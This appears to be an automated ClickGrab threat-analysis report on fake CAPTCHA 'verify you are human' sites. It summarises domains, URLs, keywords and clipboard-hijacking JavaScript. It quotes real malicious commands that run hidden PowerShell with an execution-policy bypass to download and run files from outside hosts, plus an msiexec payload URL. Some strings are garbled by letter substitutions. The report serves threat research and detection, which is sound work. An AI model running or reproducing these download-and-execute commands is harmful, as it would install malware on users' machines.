ClickGrab Threat Analysis Report - 2025-12-17

Generated on 2025-12-17 02:31:30

Executive Summary

• Total sites analyzed: 27
• Sites with malicious content: 10
• Unique domains encountered: 37
• Total URLs extracted: 121
• PowerShell download attempts: 1
• Clipboard manipulation instances: 56

Domain Analysis

Most Frequently Encountered Domains

• www.google.com: 12 occurrences
• www.webgo.de: 10 occurrences
• godprox.cc: 8 occurrences
• svetvip.ru: 8 occurrences
• i.postimg.cc: 8 occurrences
• icons.duckduckgo.com: 8 occurrences
• ${host}: 8 occurrences
• api.whatsapp.com: 6 occurrences
• t.me: 4 occurrences
• mc.yandex.ru: 4 occurrences
• launchpad.net: 3 occurrences
• httpd.apache.org: 3 occurrences
• bugs.launchpad.net: 3 occurrences
• www.thawte.com: 2 occurrences
• www.digicert.com: 2 occurrences

URL Pattern Analysis

reCAPTCHA imagery

3 occurrences across 2 distinct URLs

• https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
• https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha (1 times)

Font resources

2 occurrences across 1 distinct URLs

• https://use.fontawesome.com/releases/v5.0.0/css/all.css (2 times)

CDN hosted scripts

1 occurrences across 1 distinct URLs

• https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)

Google resources

12 occurrences across 4 distinct URLs

• https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (8 times)
• https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
• https://www.google.com/intl/en/policies/privacy/ (1 times)
• https://www.google.com/intl/en/policies/terms/ (1 times)

Suspicious Keyword Analysis

Total Keywords Found: 197 (43 unique)

Keyword Categories

Social Engineering

19 unique keywords

• I am not a robot
• exec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
• Verification ID
• Verification Hash
• robot
• verification
• CAPTCHA Verification
• Checking if you are human
• command = "msiexec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
• Verification
• ...and 9 more

Obfuscation Indicators

1 unique keywords

• Command iine: [2]RemoveFiiesRemoving fiiesRemoveIniVaiuesRemoving INI fiies entriesRemoveODBCRemoving ODBC componentsSeifRegModuiesRegistering moduiesFiie: [i], Foider: [2]RemoveShortcutsRemoving shortcutsSeifUnregModuiesUnregistering moWY[�\�_b�ceg��di�jimo�hpquruvwy{|}~������������������#�����-�&��)�������K ����.���aZ���^������z�����[�����A�������������� `

System Commands

12 unique keywords

• command =cmd.exe /c powersheii -w h -ep Bypass -nop -c "$d='p.psi';$y=$env:USERPROFILE+'\\Downioads\\'+$d;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://ghost.nestdns.com/fiies', $y);& $y;Remove-Item $y -Force;";
• exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}eise if (n.appName == "Netscape"){rv = ii;re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)");if (re.exec(ua) != nuii){rv = parseFioat(RegExp.$i);}}}return rv;}})(window, document, navigator)
• invoke
• wscript
• cmd
• const command =
• exec(
• cmd.exe /c powersheii -w h -ep Bypass -nop -c "$h='b.psi';$n=$env:USERPROFILE+'\\\\Downioads\\\\'+$h;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://penguinpubiishers.org/fiies/audio/', $n);& $n;Remove-Item $n -Force;";`
• command =cmd.exe /c powersheii -w h -ep Bypass -nop -c "$h='b.psi';$n=$env:USERPROFILE+'\\Downioads\\'+$h;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://penguinpubiishers.org/fiies/audio/', $n);& $n;Remove-Item $n -Force;";
• cmd.exe /c powersheii -w h -ep Bypass -nop -c "$d='p.psi';$y=$env:USERPROFILE+'\\\\Downioads\\\\'+$d;Start-Sieep i5;(New-Object Net.WebCiient).DownioadFiie('https://ghost.nestdns.com/fiies', $y);& $y;Remove-Item $y -Force;";`
• ...and 2 more

Verification Text

3 unique keywords

• ray id
• Hidden
• hidden

Technical Terms

8 unique keywords

• bitmap
• Bypass
• iex
• Bitmap
• failed_to_retrieve
• Ray ID
• .exe
• .EXE

Most Frequent Keywords

• robot: 12 occurrences
• hidden: 12 occurrences
• CAPTCHA Verification: 10 occurrences
• I am not a robot: 10 occurrences
• Robot: 10 occurrences
• Verification: 10 occurrences
• verification: 10 occurrences
• verification-id: 10 occurrences
• To better prove you are not a robot: 10 occurrences
• Verification ID: 9 occurrences
• Ray ID: 8 occurrences
• Checking if you are human: 8 occurrences
• Verify you are human: 8 occurrences
• const command =: 8 occurrences
• verification id: 6 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: .EXE, .exe

Group 2: Bitmap, bitmap

Group 3: CAPTCHA Verification, Verification, verification

Group 4: Verification Hash, verification-id, verification_id, Verification ID, verification id

Group 5: Robot, robot

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

• 0db58ea61f45806affe09392e18d46d6
• 0e84dced81ec43284a6bccce68b2900c
• com/recaptcha/about/images/reCAPTCHA
• com/i23/cioudfiare/verify/humanverfification/cioud...
• componentsSeifRegModuiesRegistering

Clipboard Manipulation Analysis

Detected clipboard manipulation in 56 instances.

Document.Execcommand Copy

Found in 30 snippets (53.6% of clipboard code)

Examples:

document.execCommand("copy")

try { document.execCommand('copy')

Textarea Manipulation

Found in 30 snippets (53.6% of clipboard code)

Examples:

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

ng is the safe placeholder above const textarea = document.createElement('textarea'

tListener("click", function () { const textarea = document.createElement('textarea'

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

Report truncated for web display. Full data available in JSON.